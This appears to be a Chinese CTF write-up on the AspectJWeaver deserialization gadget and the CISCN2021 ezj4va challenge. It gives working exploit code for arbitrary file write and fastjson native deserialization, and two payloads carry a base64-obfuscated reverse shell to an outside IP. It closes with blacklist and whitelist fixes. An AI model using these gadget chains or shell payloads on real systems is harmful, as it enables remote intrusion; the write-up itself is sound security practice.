AspectJWeaver反序列化
环境:
pom.xml
1 2 3 4 5 <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.8.6</version > </dependency >
利用点
利用点在org.aspectj.weaver.tools.cache.SimpleCache
中,有一个内部类StoreableCachingMap
,同时继承了HashMap
其构造方法接受文件夹的路径以及储存计时器的值:
1 2 3 4 5 private StoreableCachingMap (String folder, int storingTimer) { this .folder = folder; this .initTrace(); this .storingTimer = storingTimer; }
主要看这个put方法:
这个put
方法内的writeToPath
能够触发任意文件写入
那就得利用到put
方法触发这个写入文件了
回想一下cc链有什么链子能够触发put方法的,不难想到cc6的利用:
1 HashSet.readObject() -> HashMap.put() -> HashMap.hash()->TiedMapEntry.hashCode()->TiedMapEntry.getValue()->LazyMap.get()->ChainedTransformer.transform()
其中LazyMap.get
方法会调用map.put
,然后用TiedMapEntry
触发就好了,仔细看看逻辑就好
exp
基于cc6链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package com.Err0r233;import Utils.Utils;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Constructor;import java.nio.charset.StandardCharsets;import java.util.HashSet;import java.util.Map;public class aspectTest { public static void main (String[] args) throws Exception { String filename = "test.txt" ; String filepath = "D:\\developJava\\aspectjtest\\tmp" ; String content = "qwq233" ; Class clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor constructor = clz.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map map = (Map) constructor.newInstance(filepath, 1 ); Transformer transformer = new ConstantTransformer (content.getBytes(StandardCharsets.UTF_8)); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, filename); HashSet hashSet = new HashSet (); hashSet.add(tiedMapEntry); String s = Utils.Serialize(hashSet); Utils.Unserialize(s); } }
基于cc5链:
毕竟cc5和cc6比较像:
1 BadAttributeValueExpException.readObject()->TiedMapEntry.toString()-> LazyMap.get()->ChainedTransformer.transform()
调用的是BadAttributeValueExpException
从而调用TiedMapEntry.toString()
把HashSet
改成Bad...
即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 package com.Err0r233;import Utils.Utils;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Constructor;import java.nio.charset.StandardCharsets;import java.util.HashSet;import java.util.Map;public class aspectTest { public static void main (String[] args) throws Exception { String filename = "test2.txt" ; String filepath = "D:\\developJava\\aspectjtest\\tmp" ; String content = "qwq2333" ; Class clz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor constructor = clz.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map map = (Map) constructor.newInstance(filepath, 1 ); Transformer transformer = new ConstantTransformer (content.getBytes(StandardCharsets.UTF_8)); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, filename); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Utils.SetValue(badAttributeValueExpException, "val" , tiedMapEntry); String s = Utils.Serialize(badAttributeValueExpException); Utils.Unserialize(s); } }
例题
[CISCN2021 final] ezj4va
awdp题,要打+修复
ssh连上靶机后先看ps -aux
查看进程在的地方
在/app/target
,扒一下源码下来:
有tar.gz,直接扒下来就好了,里面就是备份的源码,awdp里记得一定要先把它备份下来
jadx反编译:
pom.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <dependencies> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5 .38 </version> </dependency> <dependency> <groupId>org.aspectj</groupId> <artifactId>aspectjweaver</artifactId> <version>1.9 .5 </version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2 .72 </version> </dependency> </dependencies>
fastjson 1.2.72,能打原生反序列化
aspectjweaver,能打任意文件写
indexController里会泄露robots.txt
和www.zip
,通过www.zip
也能够下载源码
controller
cartController:
/cart/add
,会进入add函数
/cart/query
,会进入query函数
/cart/remove
会进入remove函数
add函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void add (HttpServletRequest req, HttpServletResponse resp) throws IOException { String skus = req.getParameter("skus" ); String oldCart = null ; Cookie[] cookies = req.getCookies(); if (cookies != null && cookies.length > 0 ) { for (Cookie cookie : cookies) { if ("cart" .equals(cookie.getName())) { oldCart = cookie.getValue(); } } } try { resp.addCookie(new Cookie ("cart" , Serializer.serialize(this .cartService.addToCart(skus, oldCart)))); outputResponse(resp, JSON.toJSONString(R.ok())); } catch (Exception e) { e.printStackTrace(); outputResponse(resp, JSON.toJSONString(R.error())); } }
接受skus和cart的cookie参数,然后将其添加到cookie,键名为cart,值为cartService.addToCart(skus, oldCart)
的序列化结果
addToCart:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public Cart addToCart (String skus, String oldCartStr) throws Exception { Cart toAdd = (Cart) Deserializer.deserialize(skus); Cart cart = null ; if (oldCartStr != null ) { cart = (Cart) Deserializer.deserialize(oldCartStr); } if (cart == null ) { cart = new Cart (); } if (toAdd.getSkuDescribe() != null ) { Map skuDescribe = cart.getSkuDescribe(); for (Map.Entry<String, Object> entry : toAdd.getSkuDescribe().entrySet()) { skuDescribe.put(entry.getKey(), entry.getValue()); } } if (toAdd.getSkuPrice() != null ) { Map<String, BigDecimal> skuPrice = cart.getSkuPrice(); for (Map.Entry<String, BigDecimal> entry2 : toAdd.getSkuPrice().entrySet()) { String key = entry2.getKey(); skuPrice.put(key, entry2.getValue().add(skuPrice.getOrDefault(key, new BigDecimal ("0" )))); } } return cart; }
它能够反序列化skus和oldCartStr
toAdd
是skus
反序列化的结果
cart
是oldCartStr
反序列化的结果
然后调用cart.getSkuDescribe()
得到skuDescribe
这个map,再通过toAdd.getSkuDescribe
将toAdd
的key
和value
都put进去
假如map是一个StoreableCachingMap
的话,就能够任意文件写了
另外一个就是query
query能够进行反序列化操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void query (HttpServletRequest req, HttpServletResponse resp) throws IOException { String oldCart = "" ; Cookie[] cookies = req.getCookies(); if (cookies != null && cookies.length > 0 ) { for (Cookie cookie : cookies) { if ("cart" .equals(cookie.getName())) { oldCart = cookie.getValue(); } } } try { outputResponse(resp, JSON.toJSONString(R.ok().setData(this .cartService.query(oldCart)))); } catch (Exception e) { e.printStackTrace(); outputResponse(resp, JSON.toJSONString(R.error())); } }
调用了cartService.query(oldCart)
deserialize函数就是将base64解码后再反序列化的流程
fastjson原生反序列化
虽然2021还没有这个东西,但是现在已经是2024了,尝试一下这个也不是不行()
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package com.Err0r233;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.shiro.crypto.hash.Hash;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.util.ArrayList;import java.util.HashMap;public class yuansheng { public static void main (String[] args) throws Exception { TemplatesImpl templates = Utils.getTemplatesImpl("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" ); JSONArray jsonArray = new JSONArray (); jsonArray.add(templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException (null ); Utils.SetValue(badAttributeValueExpException, "val" , jsonArray); HashMap hashMap = new HashMap (); hashMap.put(templates, badAttributeValueExpException); String ser = Utils.Serialize(hashMap); System.out.println(ser); } }
工具类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public static TemplatesImpl getTemplatesImpl (String cmd) throws Exception{ byte [][] bytes = new byte [][]{GenerateEvil(cmd)}; TemplatesImpl templates = new TemplatesImpl (); SetValue(templates, "_bytecodes" , bytes); SetValue(templates, "_name" , "aaa" ); SetValue(templates, "_tfactory" , new TransformerFactoryImpl ()); return templates; } public static String Serialize (Object o) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (baos); objectOutputStream.writeObject(o); String str = new String (Base64.getEncoder().encode(baos.toByteArray())); return str; } public static void SetValue (Object obj, String name, Object value) throws Exception { Class clz = obj.getClass(); Field nameField = clz.getDeclaredField(name); nameField.setAccessible(true ); nameField.set(obj, value); } public static byte [] GenerateEvil(String command) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a" ); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor (new CtClass []{}, ctClass); constructor.setBody("Runtime.getRuntime().exec(\"" + command + "\");" ); ctClass.addConstructor(constructor); return ctClass.toBytecode(); }
shell确实弹过来了(
AspectJWeaver反序列化
由于2021根本没有这个解法,所以这是不太可行的(
还是回到正题,他这个add路由能够获取到
toAdd
是skus
反序列化的结果
cart
是oldCartStr
反序列化的结果
然后调用cart.getSkuDescribe()
得到skuDescribe
这个map
再通过toAdd.getSkuDescribe
将toAdd
的key
和value
都put进去
所以将cart设置成一个StoreableCachingMap
skus的k,v设置成filename contents即可。注意一下他们都得是一个Cart类的对象
那这里要写什么呢?
这里写jsp是写不通的(因为不解析jsp),那么我们换个方式,通过写入class文件,然后反序列化该class文件,class文件内重写readObject执行命令即可:
1 2 3 4 5 6 7 8 9 10 11 package ciscn.fina1.ezj4va;import java.io.ObjectInputStream;import java.io.Serializable;public class Evil implements Serializable { private void readObject (ObjectInputStream s) throws Exception{ Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" ); } }
这里包名要写对,然后找一下存放的class文件都在哪里,根据备份下来的文件可以找到在/app/target/classes/ciscn/fina1/ezj4va
内
所以filepath = /app/target/classes/ciscn/fina1/ezj4va
exp如下,简单注意路径就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package ciscn.fina1.ezj4va.domain;import ciscn.fina1.ezj4va.Evil;import ciscn.fina1.ezj4va.utils.Serializer;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Exp { public static String getSkus () throws Exception{ Cart cart = new Cart (); HashMap hashMap = new HashMap (); String filename = "Evil.class" ; String contents = new String (Base64.getEncoder().encode(ClassPool.getDefault().get(Evil.class.getName()).toBytecode())); hashMap.put(filename, Base64.getDecoder().decode(contents)); SetValue(cart, "skuDescribe" , hashMap); return Serializer.serialize(cart); } public static String getOldCart () throws Exception{ Cart cart = new Cart (); String filepath = "/app/target/classes/ciscn/fina1/ezj4va" ; Constructor constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ).getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map map = (Map) constructor.newInstance(filepath, 1 ); SetValue(cart, "skuDescribe" , map); return Serializer.serialize(cart); } public static String getEvil () throws Exception{ return Serializer.serialize(new Evil ()); } public static void SetValue (Object obj, String name, Object value) throws Exception { Class clz = obj.getClass(); Field field = clz.getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static void main (String[] args) throws Exception { String oldCart = getOldCart(); String skus = getSkus(); String evil = getEvil(); System.out.println(oldCart); System.out.println(skus); System.out.println(evil); } }
连上ssh后查看可以得到Evil.class已经被写进去了
/cart/query打反序列化Evil.class:
shell就弹过来了
两条攻击路径就结束了~
修复
修复的话需要重写ResolveClass,阻止AspectJWeaver反序列化,解法(黑名单):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package ciscn.fina1.ezj4va.utils;import java.io.*;public class MyObjectInputStream extends ObjectInputStream { public MyObjectInputStream (InputStream in) throws IOException{ super (in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException{ String className = desc.getName(); for (String deny: new String []{ "java.net.InetAddress" , "org.aspectj.weaver.tools.cache.SimpleCache" , "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "com.alibaba.fastjson.JSONArray" , "javax.management.BadAttributeValueExpException" , "java.security.SignedObject" , "org.apache.commons.collections.functors" , "org.apache.commons.collections.Transformer" }){ if (className.startsWith(deny)){ throw new InvalidClassException ("Unauthorized ClassName " + className); } } return super .resolveClass(desc); } }
白名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package ciscn.fina1.ezj4va.utils;import java.io.*;public class MyObjectInputStream extends ObjectInputStream { public MyObjectInputStream (InputStream in) throws IOException{ super (in); } @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException{ String className = desc.getName(); if (!desc.getName().equals(Cart.class.getName())){ throw new InvalidClassException ("Unauthorized ClassName " + className); } return super .resolveClass(desc); } }
往deserializer.java里改一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package ciscn.fina1.ezj4va.utils;import java.io.ByteArrayInputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.util.Base64;public class Deserializer { public static Object deserialize (String base64data) throws IOException, ClassNotFoundException { ByteArrayInputStream bais = new ByteArrayInputStream (Base64.getDecoder().decode(base64data)); MyObjectInputStream ois = new MyObjectInputStream (bais); Object obj = ois.readObject(); ois.close(); return obj; } }
这题可以通过www.zip里的文件解压出源码,扔进idea里即可
改完之后拿aspectjweaver的payload进行本地测试:
这里把关键类给ban掉了,文件也无法生成,成功防御
对于fastjson原生反序列化也是能够防御的:
打包利用的不是maven的打包,而是idea的原有打包方式:
然后Build -> Build Artifacts -> rebuild
然后还得将target文件夹复制,完成之后大概是这样的:
然后就能够启动了
经过测试,在buu的靶机上还发现了一个main,当时忘记关注这个了,还以为是直接通过jar启动的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 #!/bin/sh PRG="$0 " while [ -h "$PRG " ]; do ls =`ls -ld "$PRG " ` link =`expr "$ls " : '.*-> \(.*\)$' ` if expr "$link " : '/.*' > /dev/null; then PRG="$link " else PRG=`dirname "$PRG " `/"$link " fi done PRGDIR=`dirname "$PRG " ` BASEDIR=`cd "$PRGDIR /.." >/dev/null; pwd ` REPO= cygwin=false ; darwin=false ; case "`uname`" in CYGWIN*) cygwin=true ;; Darwin*) darwin=true if [ -z "$JAVA_VERSION " ] ; then JAVA_VERSION="CurrentJDK" else echo "Using Java version: $JAVA_VERSION " fi if [ -z "$JAVA_HOME " ]; then if [ -x "/usr/libexec/java_home" ]; then JAVA_HOME=`/usr/libexec/java_home` else JAVA_HOME=/System/Library/Frameworks/JavaVM.framework/Versions/${JAVA_VERSION} /Home fi fi ;; esac if [ -z "$JAVA_HOME " ] ; then if [ -r /etc/gentoo-release ] ; then JAVA_HOME=`java-config --jre-home` fi fi if $cygwin ; then [ -n "$JAVA_HOME " ] && JAVA_HOME=`cygpath --unix "$JAVA_HOME " ` [ -n "$CLASSPATH " ] && CLASSPATH=`cygpath --path --unix "$CLASSPATH " ` fi if [ -z "$JAVACMD " ] ; then if [ -n "$JAVA_HOME " ] ; then if [ -x "$JAVA_HOME /jre/sh/java" ] ; then JAVACMD="$JAVA_HOME /jre/sh/java" else JAVACMD="$JAVA_HOME /bin/java" fi else JAVACMD=`which java` fi fi if [ ! -x "$JAVACMD " ] ; then echo "Error: JAVA_HOME is not defined correctly." 1>&2 echo " We cannot execute $JAVACMD " 1>&2 exit 1 fi if [ -z "$REPO " ]then REPO="$BASEDIR " /repo fi CLASSPATH="$BASEDIR " /etc:"$REPO " /org/apache/tomcat/embed/tomcat-embed-core/8.5.38/tomcat-embed-core-8.5.38.jar:"$REPO " /org/apache/tomcat/tomcat-annotations-api/8.5.38/tomcat-annotations-api-8.5.38.jar:"$REPO " /org/aspectj/aspectjweaver/1.9.5/aspectjweaver-1.9.5.jar:"$REPO " /com/alibaba/fastjson/1.2.72/fastjson-1.2.72.jar:"$REPO " /ciscn/fina1/ezj4va/0.0.1-SNAPSHOT/ezj4va-0.0.1-SNAPSHOT.jar ENDORSED_DIR= if [ -n "$ENDORSED_DIR " ] ; then CLASSPATH=$BASEDIR /$ENDORSED_DIR /*:$CLASSPATH fi if [ -n "$CLASSPATH_PREFIX " ] ; then CLASSPATH=$CLASSPATH_PREFIX :$CLASSPATH fi if $cygwin ; then [ -n "$CLASSPATH " ] && CLASSPATH=`cygpath --path --windows "$CLASSPATH " ` [ -n "$JAVA_HOME " ] && JAVA_HOME=`cygpath --path --windows "$JAVA_HOME " ` [ -n "$HOME " ] && HOME=`cygpath --path --windows "$HOME " ` [ -n "$BASEDIR " ] && BASEDIR=`cygpath --path --windows "$BASEDIR " ` [ -n "$REPO " ] && REPO=`cygpath --path --windows "$REPO " ` fi exec "$JAVACMD " $JAVA_OPTS \ -classpath "$CLASSPATH " \ -Dapp.name="main" \ -Dapp.pid="$$" \ -Dapp.repo="$REPO " \ -Dapp.home="$BASEDIR " \ -Dbasedir="$BASEDIR " \ ciscn.fina1.ezj4va.launch.Main \ "$@ "
通过这个启动了,然后本地测试一下发现还有个.bat可以直接启动windows下的服务
接下来测试发现只需要将classes文件夹覆盖成我们修复的文件即可,最后拿到flag: